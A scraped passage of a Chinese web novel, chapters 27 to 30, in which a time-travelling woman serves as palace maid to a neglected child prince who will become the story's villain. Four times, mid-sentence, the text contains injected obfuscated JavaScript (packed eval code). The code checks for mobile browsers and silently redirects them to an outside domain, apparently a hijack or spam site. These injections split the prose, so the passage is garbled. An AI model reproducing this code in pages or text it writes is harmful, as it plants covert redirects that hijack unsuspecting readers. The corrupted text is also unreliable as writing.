崔若盈回过头,就见他站在那棵树下,日光砍在他的身上,在他身上截出一条光与暗的分界线。 “你要的花,我一定会送上的。” 崔若盈笑了笑,狡黠的眼睛眯起来:“殷家主不要敷衍我,我只要最好看的那一朵哦。” 哈哈!这个花,他就找去吧! 两名侍女带着崔若盈进到客院。崔若盈不习惯有人服侍,让她们离开,自己则躲在屋子里查看起新到手的那张时空回溯券。 时空回溯券还附赠了一个智能小助手,可以解答在使用过程中的一些疑问。 崔若盈仔细问了一些关于回溯券的情况。 首先,这张回溯券等级较低,在过去停留的时间最多只有三个月,超过时间会自动失效。 确认使用后,她的身体会被拉入设定好的时间、地点待三个月,可以提前返程。三个月时间,对应到现在时间线,所花的时间是三个时辰,也就是六小时。 也就是说,使用回溯券,她会凭空消失六小时。 思考了一下,崔若盈决定入夜后再使用,以免被侍女发现什么不对劲。 至于回溯的时间……崔若盈不是很确定,因为她对殷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14766214|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逐白的过去一无所知,连他活了多少年都不知道。 幸好时空回溯券自带一个智能定位功能,她可以找一个参照对象,大致描述自己想进入的时间点,由系统自动跳转。 有点冒险,但也没有更好的办法了。 打定主意,崔若盈静静等待天黑。 终于,夜幕降临,几点繁星爬上暗蓝色的天空,山庄中已经亮起了点点灯火。 崔若盈看时间已经差不多了,就反锁房门,拿出了时空回溯券。 【是否使用物品】 【是/否】 【是】 按下【是】的瞬间,眩晕感就排山倒海般袭来,崔若盈一阵头晕,仿佛被谁从云端抛了下去,耳中只能听到呼呼的风声。 过了几秒钟,她才头重脚轻地站到地面上,眼前还残留着彩色的虚影。崔若盈顾不上休息,赶紧抬头打量四周。 她现在身在一个古朴的房间中。房间整洁低调,有一些她没见过的小装饰,装修风格很特别,看着颇带异域风情。 而她自己身上,则是穿了件老气横秋的暗棕色衣裳。 看周围没人,崔若盈赶紧问智能小助手。 “我现在在哪里?什么年份?” 【万星九年,雍国皇宫】 崔若盈傻眼了:“什么九年?什么国?” 好家伙,这是给她干哪儿来了? 崔若盈又问:“我的任务目标现在在哪里?” 【在雍国皇宫内,请使用者自行探索】 听说殷逐白就在这附近,崔若盈也放松了一些,开始思索自己现在的处境。 使用回溯券的时候,她直接拿殷逐白当坐标,要求回到他第一世十八岁的时候。 殷逐白转世过很多次,但崔若盈估计真正影响他三观的还是第一世,所以做出了这么个决定。 至于为什么是十八岁……咳咳,因为十八岁的嫩反派比较方便下手。 崔若盈看了看四周,见周围有镜子,就走过去看了看。 脸还是那张脸,只是装束沉稳素净,梳了个板正的盘发,看着一丝不苟。 时空回溯券还会自动生成出一个方便接触任务目标的假身份,看这副打扮,应该是宫女之类的身份。 也不知殷逐白在这雍国皇宫中,又是个什么存在。 崔若盈伸手扶了扶脑后沉甸甸的簪子,忽听门口传来敲门声。她心中一凛,立刻走过去开门。 敲门的,是个和她打扮差不多的女子,看样子比她稍大几岁。 还没等崔若盈说话,那女子就道:“你收拾好了没?秦姑姑叫我们集合了。” 什么秦姑姑? 崔若盈一头雾水,只能先应下来:“收拾好了,我们走吧。” 那女子点点头,两人结伴一起走。崔若盈跟着女子,一边走一边打量着周围的景色,没过多久,就被带到了一片空地。 这里已经站了不少同样打扮的女子。秦姑姑还没来,这些女子就小声议论起来。 崔若盈躲在这些人中间,竖起耳朵听她们说的话,等秦姑姑过来的时候,她已经把自己现在的情况猜了个七七八八。 27. 我只是想让它飞起来。 她现在所在的国家名叫雍国。雍国现在的统治者是一位女皇帝,膝下有两子一女,均尚未成年。 按照雍国皇族的习惯,女帝要为几名子女挑选几名“掌宫”。掌宫就是皇子皇女们的心腹,负责为其打理内务,会一直跟随他们成年开府出宫。 而崔若盈和这些穿着暗棕色服装的宫女们,就是等待分配的掌宫备选。 崔若盈暗暗松了一口气。幸好系统给她安排的身份已经通过了掌宫考核,要不然光靠她自己,考试估计都不及格。 忽然间,周围的议论声停了。崔若盈抬头一看,只见一个穿着暗蓝色衣裳的中年女子走了过来。 她就是负责分配掌宫到各宫的秦姑姑了。 秦姑姑扫视在场女子,众人都低眉敛目,不敢有丝毫冒犯。见状,秦姑姑满意地点点头,拿出一本名册,开始分配各掌宫去处。 在场有十二位掌宫备选,平均每宫分配四人。崔若盈心里忐忑,不知道自己会被分配到哪一宫中。 正想着,就听秦姑姑叫了她的名字:“崔若盈。” 崔若盈抬起头。 秦姑姑叫了她的名字,又叫了其他三人:“你们四个,去大皇女处当差。” 崔若盈像个被扎瘪了的气球,一下子就萎了。 虽然不清楚殷逐白的真实身份,但想来不是皇女。而且皇女居所和皇子居所距离很远,她成了皇女的掌宫,行动范围也会受限。 啊啊啊这可怎么办?她总不能真当三个月掌宫宫女,然后一无所获地回去吧? 崔若盈咬着嘴唇,大脑飞速运转。但还没等她想出主意,秦姑姑已经合上了花名册。 “就这样。你们今后到了各宫,记得要……” “秦姑姑!” 一个小宫女突然气喘吁吁地从一边钻出来:“等等,秦姑姑。那位闹着说西宫也要掌宫,陛下也同意了。” “西宫?” 秦姑姑的眉头立刻皱了起来。她本就不苟言笑,皱眉时面色冷峻、颇有威仪,吓得宫女们都不敢说话。 想了一会儿,她才道:“知道了,我会挑一位去西宫。” 其他人一听这话,都紧咬嘴唇低着头,努力降低自己的存在感,生怕被选上一样。 崔若盈心里纳闷。西宫是谁?难道是女皇的男妃子?怎么感觉这些人都不太乐意去? “赵秀歌。” 几秒后,秦姑姑叫了一个名字。崔若盈感觉自己身边的女子浑身一震,整个人都垮了下来,脸上写满了抗拒。 见她这样,崔若盈眼睛一转,举手道:“秦姑姑!” 秦姑姑一顿,目光移到她的方向,回忆着她的名字:“崔若盈?” 在众宫女诧异的目光中,崔若盈正气凛然道:“秦姑姑,把我安排到西宫吧。” “你要去西宫?” 崔若盈点头。 见状,秦姑姑也懒得阻止。反正西宫没人愿意去,有人主动请缨更好。 “那你就去西宫吧。” 说着,便差人带她们去各自所属报到。负责带着崔若盈的,就是刚刚那个来报信的小宫女。 “没想到,姑姑会主动去西宫。”路上,小宫女用一种看疯子的眼神看着她,“西宫那地方像个冷宫似的,去了不是自毁前程吗?” 怪不得没人想去西宫…… 崔若盈嘴唇动了动,装作无所谓的样子:“反正西宫也总要有人去嘛。” 话是这么说,但等她到了西宫的大门口,崔若盈还是隐隐有了几分后悔。 这不是像冷宫,这就是冷宫呃呃!! 世界被深秋的寥落吞噬。一棵柿子树探出宫墙,小小的橘黄色果实垂在枝头,随风摇曳。 这里荒僻而寂静,只有干枯黄叶被风怂恿着,拍向斑驳的朱红色宫门。 两个侍卫昏昏欲睡地站在宫门前。领路宫女向他们说明了缘由,两个侍卫有些惊讶,但查验过腰牌后,还是打开了宫门。 “吱呀”一声,被风雨剥蚀的宫门被推开,露出门后的景象。 西宫面积不小,但长年无人打理,精巧的建筑显得破败而颓然,院子中甚至已经长出了一些荒草。 蛐蛐躲在荒草中,发出聒噪的哀鸣。前面就是正殿。一道单薄的身影坐在正殿门口的石阶上,正在垂头盯着深深的草丛,似乎在看着什么。 听到脚步声,他抬起头,静静地望着两人。 他年纪很小,身材清瘦,穿着一件稍显宽大的衣裳,一双黑色的眼瞳不带任何情绪,好像一座埋藏在泥土中、任由风雨侵蚀的铜像。 崔若盈:!!! 即使他的脸庞尚且稚嫩,气质也很大不同,但崔若盈还是一眼就认了出来。 好家伙,这不是大反派殷逐白吗?! 几天不见,这么拉了? 但很快,崔若盈就笑不出来了。 因为她注意到,现在殷逐白年纪好像很小,看着只有十三四岁的样子,完全不是能发展感情的样子。 崔若盈:“……” 忍了忍,想到反派和带路宫女还在场,她还是没有立刻质问系统。 在她打量着殷逐白的时候,殷逐白也在打量着她。 他的视线在她身上打转,好像要将她五脏六腑都看个分明一般。过了好一会儿,他才站起身,轻声道:“请问有什么事吗?” 还怪讲礼貌嘞。 宫女道:“这是侧君给您挑选的掌宫。” “掌宫?” 他用莫名的语气重复了一遍。崔若盈赶紧道:“殿下,我叫崔若盈。” “殿下?”他轻轻笑了笑,双眼眯起来,“从来没人叫我殿下呢。” 崔若盈看着那带路宫女。然而面对她的无措和迷茫,带路宫女只是微微一礼:“以后西宫的事务,就有崔姑姑负责了。我先告辞了。” 说着,竟然头也不回地快步离开,好似多在这里待上几秒,就会沾惹上一身晦气一般。 只留下茫然的崔若盈,一脸懵逼地看着宫女离去的背影。 殷逐白笑了一声。他的笑声中带着几分讽意,也不知是在嘲讽那宫女,还是在嘲讽崔若盈。 笑过之后,他又坐回石阶上,继续盯着地面。 殷逐白手中拿着一根细细的树枝,一边盯着地面,一边对崔若盈道:“姑姑是被人骗到这里来的吧?” 崔若盈道:“不是。” 他蹙了蹙眉,仍然盯着地面,轻描淡写道:“那就是得罪了人?” “也不是。” 这下,殷逐白终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没关系。”少年垂下眼帘,纤长的眼睫颤动,像一只展翅欲飞的蝴蝶,“我都习惯了。” 他抛下手里的树枝,站起身来,宽大的衣袍套在他身上,空荡荡地舞动,在阳光下白得有些刺眼。 “你回去吧。我不需要掌宫,这里也没有需要处理的事。” 崔若盈连忙拒绝:“这怎么行,我不回去。” 殷逐白淡淡道:“你现在回去还来得及。陛下恨我,不会怪罪你的。” “我不回去,就留在这里照顾你。”崔若盈语气坚定。 开玩笑,现在放弃,时空回溯券就相当于白买了,她怎么可能回去。 殷逐白没有再劝,应该是默认她留下了。崔若盈等了一会儿,才小心问道:“对了,我还不知道殿下的名讳和封号?” 女皇只有两子一女,但看殷逐白这情况,明显不是这三人之中的任何一位。 “名字?” 殷逐白又笑了笑。他似乎很喜欢露出这样凉凉的、略带轻蔑的笑容,无论是现在,还是未来。 “我没有名字。别人都叫我西宫。” 28. “这可是你说的。” 西宫,就是现在两人所在的这个破宫殿的名称。 与其说是名字,不如说是一个绰号。这个敷衍的绰号,满载着敷衍与不祥。 这样比起来,崔若盈还是更喜欢“殷逐白”这个名字。 西宫长期荒废,除了主殿以外,其他宫室都破败不堪,有些房间的房顶甚至漏水。 崔若盈找了好一会儿,才找到一间勉强能住的房间。 因为长年无人居住,房间积了一层厚厚的灰,崔若盈一开门,就被扑面而来的灰尘呛了个正着。 这鬼地方,住宿条件也太差了。 崔若盈收拾了一整天,才把房间给收拾干净。傍晚的时候宫门被打开,一名绿衣宫女拎着两个食盒走了进来。 见到崔若盈,她略微怔忪一瞬,才道:“是新来的掌宫么?我是来给你们送饭的。” 崔若盈连忙接过食盒,左手一摸食盒的底,发现凉得和冰山一样。她不动声色地皱了皱眉,但眉头又很快舒展我,对宫女点头致谢。 宫女送完饭,就转身离开。 崔若盈目送她离开西宫,打开食盒一看,发现两盒饭菜没有明显差异,就是两份炒青菜和米饭,饭已经彻底凉了。 “……” 崔若盈无奈。 这西宫还真是冷宫待遇,唯一值得庆幸的,就是饭菜虽然简陋,但不是什么泔水馊饭。 将就一下,也无所谓。 站在一侧的殷逐白看她盯着餐盒不说话,眉头动了动:“姑姑后悔了吗?” 他走到餐盒边,垂眸看着里面的饭菜。 殷逐白现在还不高,崔若盈一抬眼,就能看到他白皙的后颈。单薄的衣裳下,棱角分明的脊骨突出,几乎要刺破那层薄薄的皮肉,如春笋般突刺而出。 崔若盈回过神,摆摆手:“不是后悔,就是有些惊讶。” “这里是西宫,我是被遗弃在西宫的罪人,有什么好惊讶的。”殷逐白轻描淡写地将饭菜从食盒中拿出来,“姑姑快吃吧,下一顿饭要在明日巳时才送过来。” 顿了顿又道:“这里不是外面,饿了可没有夜宵。” 崔若盈“哦”了一声,目光动了动,悄无声息地落在殷逐白的身上。 他实在瘦弱,说是瘦骨伶仃也不为过。想想也是,这个年纪的孩子,只吃青菜叶,想不瘦都难。 但尽管如此,他用餐的动作却不显仓促狼狈,一举一动都斯文有礼。崔若盈看着他,恍然间在他身上,看到了几分未来的模样。 崔若盈心中疑惑。看殷逐白的样子,应该也是个皇子王孙,怎么混成这样子?“罪人”又是什么意思? 她迫切地想要得到答案。不过她现在和殷逐白还不熟,直接问他肯定不合适,倒不如明天出去打听一下。 晚饭就在沉默中结束。吃过饭,崔若盈收拾了一下食盒,天也差不多黑了。 西宫里没有蜡烛,也没有任何需要处理的公务,天一黑,崔若盈就只能回到自己房间休息。 回到收拾好的房间,崔若盈总算有时间处理一下时空回溯券的问题。 “我设定的回溯时间是攻略对象十八岁的时候,怎么给我传送到这时候来了?” 虽然不知道殷逐白现在具体几岁,但肯定不到十八岁。 【滴!数据查询中】 【未能查询到目标十八岁时数据,假定目标死时未满十八岁,自动将回溯时间改为目标死亡三个月前】 崔若盈大为震撼:“什么意思?殷逐白再过三个月就要死了?” 【请任务者自行探索】 行吧。 崔若盈又看了看系统面板,殷逐白好感度那一栏变成了灰色,暂时被锁定。 她现在攻略,就算好感度提示也不会显示,需要穿越回正常时间线后,才知道自己攻略的成果。 崔若盈叹了口气,关闭了系统,瘫坐在椅子上。 殷逐白现在这个年纪,想发展感情线是没戏了,只能打打亲情牌这样。 比好感度更令她在意的,则是殷逐白的死因。 虽然生活条件不好,但按照她的观察,殷逐白身体没什么大问题,无病无灾的,怎么就只能活三个月? 该不会是吃青菜吃得营养不良饿死的吧? 崔若盈思维漫无边际地发散着。 到了完全陌生的环境,她辗转反侧,怎么也睡不着。一直到天色微明,她直接起了床,准备出门打探一下消息。 西宫静悄悄的,殷逐白大概还没有起床。崔若盈蹑手蹑脚地推开宫门,正打算出去,下一秒,一把刀就架在了她的脖子上。 “干什么?” 崔若盈扭头,只见一名侍卫正严肃地看着她,声音沉沉,视线冷然。 西宫门前原来有两名侍卫守着。今早也不知怎么回事,这附近只有一名侍卫看守。 崔若盈赶紧道:“这位侍卫大哥,我是西宫掌宫崔若盈,想去领新的掌宫衣裳。” 侍卫上下打量着她,缓缓把刀收入鞘中:“哦,原来是崔姑娘。不好意思了,西宫许进不许出,你还是回去吧。” 崔若盈道:“就出去领个东西,也不可以吗?” “不可以。月例之类的,会有专人送过来。”侍卫的语气中带了几分同情,“崔姑娘,你被分到西宫也是可怜,赶紧找关系调走吧,别把青春都浪费在这里。” 崔若盈目光闪烁,试探着道:“可是,西宫里住的不是……皇子吗?” 听到“皇子”二字,侍卫心中一凛,赶紧压低声音:“崔姑娘,陛下从来不承认西宫的身份,这话以后可别再说了。” 看他这紧张兮兮的样子,崔若盈更好奇了。 崔若盈眼睛闪了闪,从怀里掏出银两塞进侍卫手里,又说了几句好话。她最擅长打探消息,那侍卫收了银子,见四周没人,就小声把事情给她说了个七七八八。 原来,殷逐白不受待见,和他的父亲,也就是女皇的侧夫有关。 当今登基前,就有一位青梅竹马的原配,两人感情甚笃,如胶似漆,育有一子。 殷逐白的父亲不是正夫,而是正夫身边的书童,在正夫生病时趁虚而入,才爬到了现在的位置。 正夫身体不好,经常生病,发生这事后更是心中郁卒,一病不起。 偏偏在这时候,女皇有了殷逐白,不能时时陪伴他。于是正夫身体状况极速恶化,很快就病入膏肓。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779985|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而殷逐白这家伙,也是真倒霉。他早不出生晚不出生,偏偏赶在正夫病逝的那天出生。 女皇本就对殷逐白生父心存芥蒂,认为他背主求荣,人品低劣,后因生产,没能见正夫最后一面,又觉得是殷逐白把正夫克死,心里厌极了他,连个正经姓名都没有取。 殷逐白的爹更是不靠谱,看女皇讨厌这孩子,干脆也冷落他。 等殷逐白长大一点儿,他就主动提出,让殷逐白去西宫为死去的正宫诵经祈福,女皇毫不犹豫地答应了。 于是,殷逐白就被扔到了这处荒僻宫殿,无人关心。除了送饭宫女以外,只有他不靠谱的爹偶尔遣人给他送点东西。 他就这样,在西宫里过了五年。 “陛下亲口说他是‘招致不祥的罪人’,谁敢与陛下唱反调?”侍卫低声道,“也就是李侧君尚在,要不然……” 李侧君,就是殷逐白的生父。 说来也怪,女皇厌恶李侧君,经常当众贬低呵斥他尖酸刻薄、爱慕虚荣,但还是时常去他那里。十几年来,李侧君没失过宠。 崔若盈:“……”这就是传说中的做恨吗? 不过皇帝和李侧君的事,她可管不了。三个月的时间听起来长,实际上能干的事很有限。 “谢谢你,侍卫大哥。”听了一耳朵八卦,崔若盈扬起招牌式的甜美笑容,“麻烦你告诉我这么多!那我先回去啦。” “不麻烦不麻烦。”侍卫略有些不好意思地挠了挠头,又劝道,“崔姑娘,留在这里没前途,你还是尽快调走比较好。” 崔若盈不想调走,但又不耐烦解释,于是便随口应道:“我明白,我会想办法离开西宫的……” 一边说着,她一边关上宫门转过身。然而刚走几步,崔若盈脚步就一顿。 殷逐白不知什么时候起来了。 他还穿着那身单薄的白衣,定定地站在秋风中。秋意渐浓,天也有些冷,他嘴唇失了血色,略微发白——也不知是因为冷,还是因为其他的什么。 殷逐白抬了抬眼。他的脸上没有表情,一片雪白,一双眼中却酝酿着暗色的情绪。 崔若盈后退一步。 骗反派,她没什么负罪感。但现在反派还是个年纪不大的小屁孩,什么坏事都没做过。 崔若盈对上他的目光,难免心里发虚。 她攥了攥衣袖,略有些艰难地开口:“你……听到了?” 殷逐白“嗯”了一声,声音轻柔,近似于蝴蝶飞动时掀起的一阵微风。 过了几秒,他又开口:“你昨天说不走,都是骗我的吗?” 语气平静,没有任何起伏,好像早已接受了崔若盈要离开的现实。 这可不妙。 崔若盈快步上前:“没有的事!我刚才只是随口应付的,你相信我。” 殷逐白道:“我父亲也说过,不会抛下我。” 崔若盈更是愧疚:“你父亲是你父亲,我是我,你不能因为你父亲不遵守诺言就怀疑我!我会伤心的!” 殷逐白定定地看着她,似乎在思考她话语的真实性。 良久,他才歪了歪头,绽放出一个温柔的笑容。 “这可是你说的。” 29. 谁是殷逐白 崔若盈刚来西宫那几日,天气还是晴朗的。可没过几天,就开始稀稀拉拉地下起了小雨。 细如银针的烟雨笼罩了荒芜的西宫,雨滴在宫门口的柿子树上凝结,如断了线的珠子一般落下。 荒废已久的宫殿漏了雨,飞扬灰尘中掺杂了泥土的味道。崔若盈四处寻觅,终于在库房找到了一个旧柜子,拆了拆勉强把房顶的洞挡上了。 丝丝雨水顺着破洞落到她的脸上,阴郁的光点缀在她眼瞳中。崔若盈用袖子擦了擦脸上的雨水,仰头看看自己的杰作,心里直叹气。 所以说啊,她明明是来攻略的!现在却要给小屁孩当心理辅导,还要兼职修屋顶打扫院子…… 这就算了,要是最后攻略没成功,她一分能量拿不到不说,还赔了时空回溯券的能量,也太悲催了。 正想着,崔若盈听到脚下传来朽木断裂的细响。与这细响几乎在同一时刻传来的,是殷逐白的轻呼。 “小心!” 崔若盈下意识低头一看,原来她脚下踩着的木梯年头久了,木头开裂,早就不堪重负。 就她低头的一瞬间,木头发出一声炸响,木梯顷刻间倒塌。 幸好崔若盈早有准备,在木梯断裂之前,就在墙壁上借力一跃,翻转身体后轻盈地落在地上。 好险好险。 崔若盈惧怕坠落的感觉,就算没受伤,脸色也在这一瞬间变得惨白。 她擦了擦额头上的冷汗,看向快步走过来的殷逐白,勉强扯出一个灿烂的笑:“我没事。” 殷逐白用一双漂亮的眼眸深深地看着她。几点微光映进他眼瞳中,远远看去,黑亮如夜的眼中仿佛下了一场纯白的雪。 他抿了抿唇。 年纪尚轻的反派不像未来的殷家家主一样长袖善舞。大多数时候,殷逐白都表现得沉郁而内敛,像是一个白瓷杯,不带任何色彩斑斓的纹饰,只是那样安然地存在着,任人赏玩。 崔若盈突然有点好奇。 这三个月究竟发生了什么,才让这个冷冷淡淡的殷逐白,变成了之后那个阴险狡诈的邪恶乐子人? 正想着,崔若盈的手忽然被抬了起来。殷逐白举着她的手,蹙眉道:“你受伤了。” 崔若盈看了一眼,大大咧咧地摆摆手:“就是扎了根木刺而已。” 破梯子上有不少小木刺,刚刚躲闪时候没注意,就扎到手了。 “伤在右手,想来不太方便。”他放下手,低声道,“我帮你弄出来吧。” 崔若盈本来想拒绝,但转念一想,又觉得这是个接触反派的好机会,于是点点头同意了。 殷逐白回房间取了银针。崔若盈才知道,他长时间被遗忘在西宫,平时衣裳破了,都是他自己修补的。 秋雨连绵,殿内一片昏暗。西宫没有烛火,为了照明,两个人只能来到屋檐下,借着微弱的天光,把扎在崔若盈指尖的刺给挑出来。 针尖拨弄着手指,传来又酸又痒的刺痛感,崔若盈偏头看着殷逐白。他捏着银针,全神贯注地盯着她的指尖,鸦羽般的睫毛挡住了细碎的眸光。 雨音喧哗,从飞扬的屋檐成串落下,将庭下荒芜的草木冲刷得青翠干净。崔若盈突然问道:“殿下,你有没有以后想做的事?” 殷逐白没有回答,仍然专注地看着那根比头发还细小的木刺。银针随着他的指尖而微微颤动,雪亮的光决绝地映在崔若盈的手上。 一阵刺痛传来。崔若盈侧头一看,那根刺已被他挑了出来,白皙的指尖上留了一个红色的小小血点。 崔若盈这才发现,原来那根小小的木刺扎得那么深。 “想做的事?”他将银针收起来,“我有想做的事,但我恐怕没有以后了。” 他声音那样平静,像是原野般平缓的暗夜,不咸不淡地陈述着一个残忍的现实。崔若盈抿了抿唇,略有些不忍。 其实,崔若盈不是一个同情心泛滥的人。但她确实有些怜爱这个小反派——因为他让她想起了自己。 一脚踩空,意外跌出原世界之后,崔若盈就再也无处可去,无家可回。 在时空穿越公司,像她这样被原世界放逐的人有个专属名字,叫做“世界流民”。 原世界会像修复bug一样,抹去他们存在过的一切痕迹,而世界流民的记忆也会被逐渐磨灭,甚至忘记自己是谁,成为真真正正的流浪者。 崔若盈也是个没有以后的人。 要是这次攻略任务不成功,她就再也回不了家了。 崔若盈坐在屋檐下,晃了晃腿,肩膀塌了下去。 殷逐白坐在她身边,伸出手掌,试图接住顺着屋檐成串落下的雨滴。 点点雨水划过他瘦骨伶仃的手腕,濡湿了他的衣袖。殷逐白收回手,不远处陡然传来敲门声。 崔若盈腾地站起身:“送饭的来了?” 今天这饭送的似乎有点早,之前都是下午五点多才来的。 不过她也没在意,对殷逐白说了句“我去开门”,就顶着雨快步走到宫门前。 朱红色的宫门被雨水打湿,变幻成不祥的猩红色,侍卫的声音从宫门的另一头传过来。几秒钟后,大门被推开,一道金色的身影跨过大门,抬眼看向崔若盈。 见到那身影的刹那,崔若盈浑身一震,差点叫出声来。 殷逐白? 绣着金纹的雪白衣袍,仿佛永远不沾尘埃。腰间别着把漂亮的宝剑,雪肤黑发,头上束着华贵的金冠,动作斯文有礼。 我去,这不是殷逐白吗?! 崔若盈大脑宕机,几乎呆立当场。 “姑娘是西宫的掌宫吗?” 温润的声音传来,不急不缓,连语速和说话的语气,都和记忆中的青年别无二致,但声音有着细微的差别。 崔若盈恍然抬头,看见来者面容的那一刻,她心中一松。 脸长得不一样。 这只是个气质与殷逐白十分相似的青年。 崔若盈回过神:“是,我是西宫的掌宫崔若盈,请问公子是?” 来者轻笑一声。 崔若盈心里忍不住犯嘀咕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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崔若盈又是一阵恍惚。实在是太像了,连说话的习惯都这么像,很难不让她怀疑。 该不会,真攻略错了吧?不会吧? 崔若盈无意识地盯着谢流玉,心中摇摆不定。正出神,另一边突然传来一声冷笑。原来是殷逐白。 不知何时,他脸上淡然的神情已经褪去,眼中透露出几分冰冷且阴郁的光辉。 在他脸上,崔若盈看到了反派满是阴翳的面影。 殷逐白盯着谢流玉,冷冷道:“我的生辰?你记得我的生辰,难道不记得,今天是你父亲的忌日?!” 此言一出,空气瞬间冷却结冰,谢流玉温柔的笑容僵在嘴角。 几缕秋风顺着敞开的殿门吹进来,同时拂动三人的秀发,寒鸦惊叫,风声如泣。 崔若盈扭头看向殷逐白。他穿着洗得发白的衣裳,端坐在桌子前,眉眼间挂着几分复仇成功般的快意。 30. 无与伦比的憎恨与渴望 萧瑟西风吹过,窗户“啪”地一声被吹开,冷风鱼贯而入,吹散了凝滞的氛围。 崔若盈搓了搓被吹得发麻的手臂,站起身走到窗户前,抬手关上窗。窗户合上,冷风退去,身后两人的说话声清晰可见。 谢流玉声音轻轻的,里面不包含任何愤怒之意:“父君的忌日,我当然记得。但你是我的弟弟,你的生辰我同样不会忘记。我知道,你因为……受了不少苦。我不会迁怒你的。” 听到他的话,殷逐白垂下头。黯淡天光在他眉眼间扩散出一片阴影,也遮盖了他眼中翻涌的情绪,让他看上去安静而沉寂。 他没有话要说。 谢流玉轻轻叹气道:“我先走了。” 说着,转身离开大殿。崔若盈看看沉默不语的殷逐白,又看看转身离去的谢流玉,心中十分犹豫。 按理说,想完成任务,肯定要把所有注意力都集中在任务对象身上。但是这个谢流玉和殷逐白太像,让她十分迷惑。 她还是想确认一下。 思考了两秒,崔若盈看了殷逐白一眼,随后站起身,朝着谢流玉的方向追过去。 房门大开。寂寥的风裹着细细密密的雨丝涌进房间,冷气针尖一般扎在殷逐白的身上。 殷逐白抬头,看着崔若盈朝着谢流玉追过去的背影,倏然攥紧手掌。 指甲刺入掌心,传来酸疼的痛感,殷逐白浑然未觉。他目光沉沉地看着远方,嘴角抿成一条不快的直线,心绪随着凄风冷雨上下起伏。 为什么。 为什么。 为什么谢流玉什么都有?为什么所有人都爱谢流玉? 为什么崔若盈不安慰他,反而去追谢流玉了?她怎么能这样? 他好不甘心。好不甘心。 殷逐白用齿尖用力咬着嘴唇,仿佛只有这样做,才能让他忘记伤痛、忘记难过,忘记被抛弃的现实。 嘴唇很快麻木,唇角传来灼烧般的痛感。很快,鲜血的锈味就在口腔中蔓延。殷逐白用修长纤细的手指捂住口鼻,在尖锐的血腥味中,发出幼犬般的呜咽。 为什么……为什么…… 崔若盈快步下了台阶,突然转过身。她好像听到了一声呜咽,只是那声音很克制,轻轻的,像幻觉一般,转瞬间就消失在风中。 幻听了? 崔若盈有些疑惑。但她很快将这个小插曲抛在脑后,加快脚步追上谢流玉。 “大殿下!” 谢流玉回过身,客气道:“崔姑娘怎么出来了?小心淋了雨。” “不要紧的。”崔若盈看了看他,“对不起,大殿下,刚刚……” 谢流玉抬手止住她的话:“崔姑娘何错之有呢?而且我并没有生气。这都是上一辈的恩怨,皇弟他也是受害者,对我心存怨怼很正常。” 抬了抬眼,又道:“过几日我会去求母皇,让你们离开西宫,迁居到别处。” 崔若盈先是有些惊喜,又摇了摇头。 “大殿下恐怕会触怒陛下。其实西宫也没什么不好,我只求陛下解除禁足令,让殿下能出去走一走。” 谢流玉道:“崔姑娘,我会尽力的。” 他看着崔若盈,脸上露出温暖如春的笑容。崔若盈定了定神,把手里的伞递给他:“大殿下来的时候没带伞,就用这把吧。” “谢谢你,崔姑娘。”谢流玉接过伞,“我皇弟的事,就拜托你了。” 谢流玉撑开伞,金色的身影随即消散在濛濛烟雨中。崔若盈看着他离去,直到他的背影消失在宫墙外,才转过身快步回到大殿。 大殿的门没关,风从各个角落吹进来,发出幽幽的呜咽,殿内已经空无一人,殷逐白不知所踪,只剩两个沉重的食盒,里面装着已经冷掉的饭菜。 回房间了? 崔若盈没有太过在意。她关好殿门,回到房间,呆坐在窗前思绪纷乱。 刚才与谢流玉短暂的接触,没有让她得到想要的答案,反而让她更困惑了。 谢流玉虽然和殷逐白长得不一样,但言行举止、说话的习惯,乃至微笑的弧度都一模一样。 唯一的区别,就是殷逐白是个白切黑,看着温温柔柔,实际上一肚子坏水。而谢流玉,就目前来看,是个表里如一的好人。 有没有一种可能,是谢流玉黑化了? 如果是这样的话,那她这几天的工夫都白费了,还要找机会调到谢流玉的宫里。 崔若盈打开系统:“系统,谁才是我的攻略对象?是谢流玉,还是西宫?” 【请宿主自行探索】 崔若盈抓狂:“要你何用!!” 【请宿主自行探索】 崔若盈没脾气了。 她趴在桌子上,烦躁地思索着究竟要不要调走。因为太过疲惫,她不知不觉睡着了,还做了一个梦。 她梦见了殷逐白。 梦中,殷逐白笑意盈盈地抱着她。他的怀抱好冷、好冷,崔若盈被他困在怀中,像是堕入极寒地狱,挣脱不得。 他苍白的脸埋在她的脖颈间,皮肤像是冰块一样透明、沉寂。唯独一双眼中,闪耀着潋滟的波光。 